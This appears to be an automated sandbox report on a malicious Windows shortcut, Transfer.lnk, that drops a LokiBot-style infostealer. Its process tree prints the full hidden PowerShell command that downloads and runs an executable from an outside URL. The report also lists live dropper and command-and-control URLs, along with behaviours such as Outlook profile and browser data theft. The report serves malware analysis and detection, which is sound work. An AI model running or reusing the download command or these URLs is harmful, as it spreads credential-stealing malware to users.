Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
04/10/2024, 09:05
Static task
static1
Behavioral task
behavioral1
Sample
Transfer.lnk
Resource
win7-20240903-en
General
- Target Transfer.lnk
- Size 2KB
- Sample241004-k17ctazcpg
- SHA256 d74b5f077d1a2910fb058f56768b3c1de6ab0ba537c2796268887601444fdc2d
- MD5 abc2e2d45fa8e44cd61545da9d207ddb
- SHA1 ae0425865168ee22735c24c241cf0e095d532347
- SHA512 1172c817b40dc65fafb763dbdf7e04c8bc8b69d4963a2259f035ed20b0c7df2d26dc5e1ac82dd1b67d7d320bfb96739594b2fc521a8ae7ed229ebc1e38bf2e84
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe
Extracted
-
lokibot
-
http://freighteightonecam.sytes.net/ndifygidj/five/fre.php
-
http://kbfvzoboss.bid/alien/fre.php
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http://alphastand.trade/alien/fre.php
-
http://alphastand.win/alien/fre.php
-
http://alphastand.top/alien/fre.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 3 4112 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4112 powershell.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation cmd.exe - Executes dropped EXE 4 IoCs
pid Process 1964 Ojtjewi.exe 3996 Ojtjewi.exe 4208 Ojtjewi.exe 2720 Ojtjewi.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Ojtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Ojtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Ojtjewi.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1964 set thread context of 3996 1964 Ojtjewi.exe 85 PID 1964 set thread context of 4208 1964 Ojtjewi.exe 86 PID 1964 set thread context of 2720 1964 Ojtjewi.exe 87 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ojtjewi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ojtjewi.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4112 powershell.exe 4112 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4112 powershell.exe Token: SeDebugPrivilege 1964 Ojtjewi.exe Token: SeDebugPrivilege 4208 Ojtjewi.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 4120 wrote to memory of 4112 4120 cmd.exe 83 PID 4120 wrote to memory of 4112 4120 cmd.exe 83 PID 4112 wrote to memory of 1964 4112 powershell.exe 84 PID 4112 wrote to memory of 1964 4112 powershell.exe 84 PID 4112 wrote to memory of 1964 4112 powershell.exe 84 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 3996 1964 Ojtjewi.exe 85 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 4208 1964 Ojtjewi.exe 86 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 PID 1964 wrote to memory of 2720 1964 Ojtjewi.exe 87 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Ojtjewi.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Ojtjewi.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Transfer.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe','Ojtjewi.exe');./'Ojtjewi.exe';(get-item 'Ojtjewi.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
PID:3996
-
-
C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4208
-
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C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
PID:2720
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
- Size 377KB
- SHA256 5b82fc5190c0d6644a7eabdf20be1dfdd96d7d8a46d3c329ba2a48b96f7e26e6
- MD5 6746fbb343ddec70416177f77ef83c2a
- SHA1 13a2698094e6513427c06721df1cc5de2132d5f4
- SHA512 4106edbf6a07e209045bdce8286f9cb5c9983afb21551419c32228a4eb1e87c57c88cb7615c67a263d036a892edab1cc6d4f46e33116f65c4405955a7e8cc3a4
- SSDEEP 6144:Bck/TkPW2vPboDIW8rxp+Q8TA6muV4UByhH9D2B2VP15AHAWJCO/9MCURXrtSygU:xXGTo0hr+Q8TBmuaGu9aB2VP1x0ErtSK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlrpolq5.i1g.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
- Size 46B
- SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
- MD5 d898504a722bff1524134c6ab6a5eaa5
- SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
- SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
- Size 46B
- SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
- MD5 c07225d4e7d01d31042965f048728a0a
- SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
- SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
- MD5 SHA1 SHA512